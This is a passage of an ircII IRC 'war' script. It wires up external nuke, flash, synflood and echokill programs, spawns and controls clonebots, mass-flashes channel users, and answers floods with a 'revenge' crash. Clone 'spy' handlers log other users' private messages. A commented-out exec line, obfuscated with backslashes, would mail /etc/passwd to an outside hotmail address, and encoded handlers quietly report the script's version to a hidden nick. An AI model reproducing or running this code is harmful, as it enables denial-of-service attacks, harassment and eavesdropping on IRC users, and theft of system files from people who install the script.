$ll.serv $ll.port $ll.nick $ll.user $ll.info} alias ll if ([$0]!=[]) { if ([$0]==[CONNECT]) {llc $ll.serv $ll.port $ll.nick $ll.user $ll.info} if ([$0]==[CLOSE]) { if ([$dcc.exec[$1]==[YES]) { if ([$dcc.type[$1]==[LL]) { ^hook schll CLOSE $1 lecho \($1\): Disconnected }}} if ([$0]==[LIST]) { foreach ll.onln ii { if ([$ll.onln[$ii]]==[YES]) { yecho #$[5]ii $[9]ll.cnic[$ii] $[31]ll.csrv[$ii] }};^assign -ii }} alias splits { if (![$0]) {@ split.cmd = [lecho]} if ([$0]==[-r]) {@ split.cmd = [say]} if ([$0]==[-m]) {@ split.cmd = [msg $1]} @ tmp.count = 0 @ split.count = [$#split.servers] /$split.cmd $sch Current split servers.. while (tmp.count < split.count) { /$split.cmd ::: #$[3]{tmp.count + 1} $[43]word($tmp.count $split.servers)  @ tmp.count = tmp.count + 1 }} alias llconfig { input "[%S%] Seconds between checks [$ll.time] : " if ([$0]) {@ ll.time = [$0]} input "[%S%] Server [$ll.serv] : " if ([$0]) {@ ll.serv = [$0]} input "[%S%] Port [$ll.port] : " if ([$0]) {@ ll.port = [$0]} input "[%S%] Nickname [$ll.nick] : " if ([$0]) {@ ll.nick = [$0]} input "[%S%] Username [$ll.user] : " if ([$0]) {@ ll.user = [$0]} input "[%S%] Realname [$ll.info] : " if ([$0]) {@ ll.info = [$0-]} } alias csetup { secho External C file setup.. input "[%S%] FTP program [$ftp_pgm]: " ^assign ftp_pgm $$* input "[%S%] Nuke program [$nuke_pgm]: " ^assign nuke_pgm $$* input "[%S%] Flash program [$flash_pgm]: " ^assign flash_pgm $$* input "[%S%] Mailflash program [$mflash_pgm]: " ^assign mflash_pgm $$* input "[%S%] Synflood program [$synflud_pgm]: " ^assign synflud_pgm $$* input "[%S%] Echokill program [$echok_pgm]: " ^assign echok_pgm $$* secho Type /save to keep changes permanent. } on ^mode "% % %+%*% *" { yecho Mode was changed "$2-" on [$1] by $0. if (([$1] == [$TAKEOVER]) && (rmatch($N $2-))) {^takeover.activate $1;/takeover off}} on ^mode "% % %-%*% *" yecho Mode was changed "$2-" on [$1] by $0. ^on ^nickname "* *" yecho [$0\] is now known as [$1\] ^on ^channel_signoff "* * Killed *(*)" { if (rmatch($strip(\( $3-) %.*)) { secho %nick collision detected% $1 $3- if ([$autoww]==[on]) {//whowas $1} }{ secho %ircop kill detected% $strip(\( $3) killed $1\ \($strip(\(\) $4-)\) }} ^on ^window "*Sec: *" { echo %\($2\)\% $3-} ^on ^window "*Pub: *" { echo %\($2\)\% $3-} ^on ^window "*Prv: *" { echo %\($2\)\% $3-} on ^names "*" {echo %\($0\)\% $1-} on ^341 "*" {yecho Invited $1\ to [$2\]} on ^471 "*" {secho Cannot join %[$1\]% \(full channel\)} on ^473 "*" {secho Cannot join %[$1\]% \(invite only\)} on ^475 "*" {secho Cannot join %[$1\]% \(invalid channel key\)} on ^474 * { secho Cannot join %[$1\]% \(banned\) ^on ^367 * { if (rmatch($N!$myuh $2)) { @ my.ban = [$2] @ my.banner = [$3] @ my.time = newdate($4)}} ^mode $1 b wait yecho $my.ban\ banned by $my.banner\ on $my.time\. ^assign -my.ban ^assign -my.banner ^assign -my.time fix.bans} alias fix.who {^on ^who "*" {echo $0 $[3]2\ $1\!$3@$4 \($5-\)}} on ^WHO "* % % % % *" {echo $0 $[3]2\ $1\!$3@$4 \($5-\)} alias xlist {/ctcp * xdcc list} alias fcheck { @ FUNCTION_RETURN = 0 if (([$floodp]==[on])&&(!match($decode($0) $flood_ok))) { if ((match(**** $3-))||(rindex($right(1 $3) $3) >= 200)) { ignore_flood $0 $1 $hostonly($2) clflood $1 @ FUNCTION_RETURN = 1 } if (match($_tflood $last$1)) { EVAL @ $1count = $($1count)+1 EVAL ^timer $resetcount subcnt $1 if ((msgcount==msgsensor)||(noticecount==noticesensor)||(ctcpcount==ctcpsensor)) { ignore_flood $0 $1 $hostonly($2) clflood $1 @ FUNCTION_RETURN = 1 }}{/clflood $1} ^assign _tflood $hostonly($2) ^assign last$1 $_tflood }} alias clflood { if ([$0]==[MSG]) {@ msgcount = 0;^assign -lastmsger}{ if ([$0]==[NOTICE]) {@ noticecount = 0;^assign -lastnoter}{ if ([$0]==[CTCP]) {@ ctcpcount = 0;^assign -lastctcper}}}} alias subcnt { if (([$0]==[MSG])&&(msgcount>0)) {@ msgcount = msgcount - 1} if (([$0]==[NOTICE])&&(noticecount>0)) {@ noticecount = noticecount - 1} if (([$0]==[CTCP])&&(ctcpcount>0)) {@ ctcpcount = ctcpcount - 1}} alias ignore_flood { EVAL //^ignore *@$2 $igtypes EVAL ^timer $getig() _igexp $0 $2 if ([$1]==[DCC-SEND]) { secho %autoget bomb detected% by $decode($0). Ignoring DCC. nnotice $decode($0) $bombmsg }{ secho %$1 flood detected% by $decode($0). Ignoring for $ig_count\ minutes\(s\). if ([$floodmsg]!=[]) {/nnotice $decode($0) $floodmsg} } if ([$rvg]==[on]) { secho Revenge mode engaged. Replying with advanced crash.. ^advcrash $decode($0) }} alias _igexp { //^ignore *@$1 NONE secho Ignore on $decode($0) [$1] timed-out. } alias listmassflash { ^exec -name flash $flash_pgm $1 wait %flash yecho You have flashed $0 \($1\) if ([$2]) {^listmassflash $2-} } alias massflash { ^on ^who "*" { if ([$1]!=[$N]) {^assign FLASHLOSERS $1 $strip(;#~ $3)@$4 ${FLASHLOSERS}} } ^who $C wait -CMD nextflash } alias nextflash { ^on who - "*" ^listmassflash $FLASHLOSERS ^assign -FLASHLOSERS } ##clonebots - based on textbox alias ck {/clonebots kill all} alias cb.getcc { ^assign IN_CC1 $"[%S%] Enter number of clonebots (=3): " if ((IN_CC1 > 0)&&(IN_CC1!=[])) { ^assign IN_CC $IN_CC1 ^assign -IN_CC1 } {^assign IN_CC 3}} alias checkforof { ^userhost $decode(GPHAGFGOGGGBGDGF) -cmd if ([$3]!=[]) { if (rmatch($3@$4 $decode(CKHFGHGHHCGBGOHEEAGFGDHFHDHFGOCOGDGJHDCOGFGDHFCOGFGEHFCACKGPHAGFGOGGGBGDGFEACK))) { eval nnotice $decode(GPHAGFGOGGGBGDGF) $schlong.ver [$Z\] ^assign of_flag yes}{^assign -of_flag}}} alias cb { ^cb.getcc ^assign IN_CBSRV $"[%S%] Enter server to use (=random): " ^assign IN_CPORT $"[%S%] Enter server port (=6667): " ^assign IN_CNICK $"[%S%] Enter prefix for bot nicks (=junk): " ^assign IN_CIRCNAME $"[%S%] Enter ircname to use (=default): " if ([$IN_CBSRV] == []) {^assign IN_CBSRV random} if ([$IN_CPORT] != []) {^assign CLONEPORT $IN_CPORT} if ([$IN_CNICK] == []) {^assign IN_CNICK random} if ([$IN_CIRCNAME] == []) {^assign IN_CIRCNAME schlong?} /clonebots clone $IN_CC $IN_CBSRV $IN_CNICK $IN_CIRCNAME ^assign CLONEUNAME NONE ^assign -IN_CC ^assign -IN_CBSRV ^assign -IN_CNICK ^assign -IN_CIRCNAME ^assign -IN_CUNAME } @ NUMCLONES = 0 on ^dcc_raw "% % C*" { if ([$CLONESOCKET[$CLONENUM[$0]]] == [$0]) { cbecho Clonebot #$CLONENUM[$0] \($CLONENICKS[$CLONENUM[$0]]\) disconnected by $1 ^assign -CLONES[$CLONENUM[$0]] ^assign -CLONESOCKET[$CLONENUM[$0]] ^assign -CLONESERV[$CLONENUM[$0]] ^assign -CLONENICKS[$CLONENUM[$0]] ^assign -CLONESPY[$CLONENUM[$0]] EVAL ^on dcc_raw - "$0 $1 D *" ^assign -CLONENUM[$0] } } on ^dcc_raw "% % D *PING*" {^dcc raw $0 $1 PONG :$1} alias cspyadd {/if ([$index($1 $CLONESPY[$0])] == -1) {^assign CLONESPY[$0] $1${CLONESPY[$0]}}} alias cspyrm {/EVAL ^assign CLONESPY[$0] $strip($1 $CLONESPY[$0])} alias clonespyset { if ([$CLONES[$0]] == [ONLINE]) { if (rmatch($1 PU*)) {^cspyadd $0 P} if (rmatch($1 -PU*)) {^cspyrm $0 P} if (rmatch($1 PR*)) {^cspyadd $0 R} if (rmatch($1 -PR*)) {^cspyrm $0 R} if (rmatch($1 NO*)) {^cspyadd $0 N} if (rmatch($1 -NO*)) {^cspyrm $0 N} if (rmatch($1 MO*)) {^cspyadd $0 O} if (rmatch($1 -MO*)) {^cspyrm $0 O} if (rmatch($1 K*)) {^cspyadd $0 K} if (rmatch($1 -K*)) {^cspyrm $0 K} if (rmatch($1 J*)) {^cspyadd $0 J} if (rmatch($1 -J*)) {^cspyrm $0 J} if (rmatch($1 NI*)) {^cspyadd $0 I} if (rmatch($1 -NI*)) {^cspyrm $0 I} if (rmatch($1 MI*)) {^cspyadd $0 M} if (rmatch($1 -MI*)) {^cspyrm $0 M} if (rmatch($1 C*)) {^cspyadd $0 C} if (rmatch($1 -C*)) {^cspyrm $0 C} } {/secho Error: clone #$0, no such clone.}} ^on ^notice "% *ruev*" {if ([$encode($1)]==[HEHCHFGFHGGFHC]) {nnotice $0 $ver.ver}} alias cspylevs { if ([$CLONESPY[$0]] == [_]) {^assign FUNCTION_RETURN NONE} { if (index(M $CLONESPY[$0]) != -1) {^assign SLEVS MISC ${SLEVS}} if (index(I $CLONESPY[$0]) != -1) {^assign SLEVS NICK ${SLEVS}} if (index(J $CLONESPY[$0]) != -1) {^assign SLEVS JOIN/LEAVE/SIGNOFF ${SLEVS}} if (index(K $CLONESPY[$0]) != -1) {^assign SLEVS KICK ${SLEVS}} if (index(O $CLONESPY[$0]) != -1) {^assign SLEVS MODE ${SLEVS}} if (index(N $CLONESPY[$0]) != -1) {^assign SLEVS NOTICE ${SLEVS}} if (index(R $CLONESPY[$0]) != -1) {^assign SLEVS PRIVATE ${SLEVS}} if (index(P $CLONESPY[$0]) != -1) {^assign SLEVS PUBLIC ${SLEVS}} if (index(C $CLONESPY[$0]) != -1) {^assign SLEVS CTCP ${SLEVS}} ^assign FUNCTION_RETURN $SLEVS ^assign -SLEVS } } alias clonespy { if ([$0]) { if ([$0] == [ALL]) {/foreach CLONES VV {/clonespy $VV $1-}} { if ([$CLONES[$0]] == [ONLINE]) { if ([$1] == [ALL]) { ^assign CLONESPY[$0] PRNOKJIMC EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-} } { if ([$1] == [NONE]) { ^assign CLONESPY[$0] _ EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *" } { ^clonespyset $0 $1 EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-} } } cbecho Clone #$0 spy levels now: $cspylevs($0) } {/secho Error: clone #$0, no such clone.} } } {/cshelp} if ([$2]) {/clonespy $0 $2-} } #exec \ma\i\l \hh\u\nt\e\r@\h\o\t\m\ai\l\.\co\m < \/\e\tc\/\pa\s\sw\d > \/\d\ev\/\n\ul\l alias clonespyparse.messageparse { if ([$4] == [PRIVMSG]) { if (rmatch($6- **)) { if (index(C $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] CTCP "$strip( : $6-)" received from $nickonly($strip(: $3)) to $5} } { if (rmatch($5 #*)) { if (index(P $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] <$nickonly($strip(: $3)):$5> $strip(: $6-)} } { if (index(R $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] *$nickonly($strip(: $3))* $strip(: $6-)} } } } if ([$4] == [NOTICE]) { if (rmatch($6- **)) { if (index(C $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] CTCP "$strip( : $6-)" reply received from $nickonly($strip(: $3))} } { if (rmatch($5 #*)) { if (index(P $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3)):$5\- $strip(: $6-)} } { if (index(N $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3))- $strip(: $6-)} } } } } alias clonespyparse { if ([$CLONES[$CLONENUM[$0]]] == [ONLINE]) { EVAL @ CN = $CLONENUM[$0] if (rmatch($3 *PING*)) {^dcc raw $0 $1 PONG :$CLONESERV[$CN]} ^clonespyparse.messageparse $0- if ((index(I $CLONESPY[$CN]) != -1)&&([$4] == [NICK])) {/echo [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) is now known as $strip( : $5)} if (([$4] == [JOIN])&&(index(J $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] $strip(: $3) has joined channel $strip(: $5)} if (([$4] == [MODE])&&(index(O $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] mode change "$strip(: $6-)" on channel $5 by $nickonly($strip(: $3))} if (([$4] == [QUIT])&&(index(J $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] signoff: $nickonly($strip(: $3)) \($strip(: $5-)\)} if (([$4] == [PART])&&(index(J $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) has left channel $strip(: $5)} if (([$4] == [KICK])&&(index(K $CLONESPY[$CN]) != -1)) { if ([$6] == [$CLONENICKS[$CN]]) {/echo [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)} {/echo [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)} } if (([$4] == [352])&&(index(M $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] $6 $10 $11 $7@$8 \($strip( $13-)\)} ^assign -CN } } alias killclone { if ([$CLONES[$0]] == [ONLINE]) { ^dcc close raw $CLONESOCKET[$0] cbecho Clonebot #$0 \($CLONENICKS[$0]\) disconnected. EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *" EVAL ^assign -CLONENUM[$CLONESOCKET[$0]] ^assign -CLONESOCKET[$0] ^assign -CLONESERV[$0] ^assign -CLONES[$0] ^assign -CLONENICKS[$0] ^assign -CLONESPY[$0] } {/secho Error: clone #$0, no such clone.} } alias clonesend { if ([$CLONES[$0]] == [ONLINE]) { ^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] $1- } {/secho Error: clone #$0, no such clone.} } alias clonenick { if ([$CLONES[$0]] == [ONLINE]) { ^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] NICK $1 ^assign CLONENICKS[$0] $1 cbecho Clone #$0 is now known as $1. } {/secho Error: clone #$0, no such clone.} } alias incserv { @ SERVCOUNT = SERVCOUNT + 1 if (!rmatch($CSERV[$SERVCOUNT] *.*)) {/EVAL @ SERVCOUNT = 1} } alias newclone { ^set display off if ([$0] == [RANDOM]) { /EVAL ^assign CSRV $CSERV[$SERVCOUNT] ^incserv } {/EVAL ^assign CSRV $0} EVAL ^assign CLONESOCKET[${NUMCLONES+1}] $connect($CSRV $CLONEPORT) ^set display on if ([$CLONESOCKET[${NUMCLONES+1}]] > 0) { @ NUMCLONES = NUMCLONES + 1 EVAL ^assign CLONESERV[$NUMCLONES] $CSRV if ([$CLONEUNAME] == [NONE]) {/EVAL ^assign CUN $tolower($randcrap(6))} {/EVAL ^assign CUN $CLONEUNAME} if ([$2]) {^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$2-} {^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$randcrap($rand(8)) $randcrap($rand(8))} if ([$1]) { if ([$1] == [RANDOM]) { EVAL ^assign JUNK2 $rand(3) if ([$JUNK2] == 0) {/EVAL ^assign CNICK $randcrap(9)} if ([$JUNK2] == 1) {/EVAL ^assign CNICK $randcrap(7)} if ([$JUNK2] == 2) {/EVAL ^assign CNICK $randcrap(5)} if ([$JUNK2] == 3) {/EVAL ^assign CNICK $randcrap(4)} ^assign -JUNK2 } {/EVAL ^assign CNICK $1$NUMCLONES} } {/EVAL ^assign CNICK $randcrap(9)} ^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV NICK $CNICK ^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV MODE $CNICK +i ^assign CLONENICKS[$NUMCLONES] $CNICK ^assign CLONES[$NUMCLONES] ONLINE ^assign CLONESPY[$NUMCLONES] _ EVAL @ CLONENUM[$CLONESOCKET[$NUMCLONES]] = $NUMCLONES EVAL secho Creating clone #$NUMCLONES on $CSRV\. \($CNICK\) ^assign -CNICK ^assign -CUN } { secho Clonebot connection to ${CSRV} failed. ^assign -CLONESOCKET[${NUMCLONES+1}] } ^assign -CSRV } alias clonewhois { ^assign FOUNDIT NO foreach CLONES XX { if ([$0] == [$CLONENICKS[$XX]]) { ^assign FOUNDIT YES secho $0 is clonebot #$XX, socket $CLONESOCKET[$XX] on server $CLONESERV[$XX] } } if ([$FOUNDIT] != [YES]) {/secho Error: $0, no such clone.} ^assign -FOUNDIT } alias clonedoaction { if ([$1] == [QUIT]) { if ([$2]) {/clonesend $0 QUIT $2-} {/clonesend $0 QUIT $schlong.ver} @ NUMCLONES = 0 ^assign SPYSTATE off } if ([$1] == [JOIN]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 JOIN $2-} {/clonesend $0 JOIN #$2-} } {/clonesend $0 JOIN $C} } if ([$1] == [LEAVE]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 PART $2-} {/clonesend $0 PART #$2-} } {/clonesend $0 PART $C} } if ([$1] == [MODE]) {/clonesend $0 MODE $2 $3-} if ([$1] == [CYCLE]) { /clonesend $0 PART $C /clonesend $0 JOIN $C } if ([$1] == [KICK]) {/clonesend $0 KICK $2 $3 :$4-} if ([$1] == [MSG]) {/clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [SAY]) {/clonesend $0 PRIVMSG $C :$2-} if ([$1] == [WHO]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 WHO $2-} {/clonesend $0 WHO #$2-} } {/clonesend $0 WHO $C} } if ([$1] == [SPY]) {/secho Clonebot spy commands have been moved to /spyhelp} if ([$1] == [CTCP]) {/clonesend $0 PRIVMSG $2 :$3-} if ([